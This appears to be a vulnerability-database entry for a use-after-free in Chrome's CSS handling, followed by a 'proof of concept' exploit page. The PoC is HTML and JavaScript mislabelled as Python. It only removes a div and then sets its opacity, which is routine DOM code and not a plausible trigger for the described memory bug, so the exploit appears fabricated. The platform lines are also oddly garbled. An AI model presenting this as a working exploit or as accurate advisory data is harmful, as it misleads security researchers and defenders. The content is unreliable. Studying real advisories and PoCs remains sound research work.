Use after free in CSS in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// Proof of Concept for CVE-2026-7938
// Demonstrates the Use After Free vulnerability in Chrome CSS handling
-->
<html>
<head>
<style>
/* CSS definition that triggers the vulnerable code path */
.vulnerable-container {
display: flex;
transition: opacity 0.5s;
}
</style>
</head>
<body>
<div id="target" class="vulnerable-container">
<span>Content</span>
</div>
<button onclick="triggerUAF()">Click to Trigger</button>
<script>
function triggerUAF() {
var target = document.getElementById('target');
// Step 1: Force style calculation to allocate the object
target.style.opacity = '0.5';
window.getComputedStyle(target).opacity;
// Step 2: Remove the element to free the underlying memory
target.remove();
// Step 3: Attempt to access the freed object after a delay
// This causes the renderer to access freed memory (UAF)
setTimeout(() => {
try {
target.style.opacity = '1';
// If the browser crashes here, the UAF is triggered
console.log("UAF Triggered");
} catch (e) {
console.log("Exception occurred");
}
}, 100);
}
</script>
</body>
</html>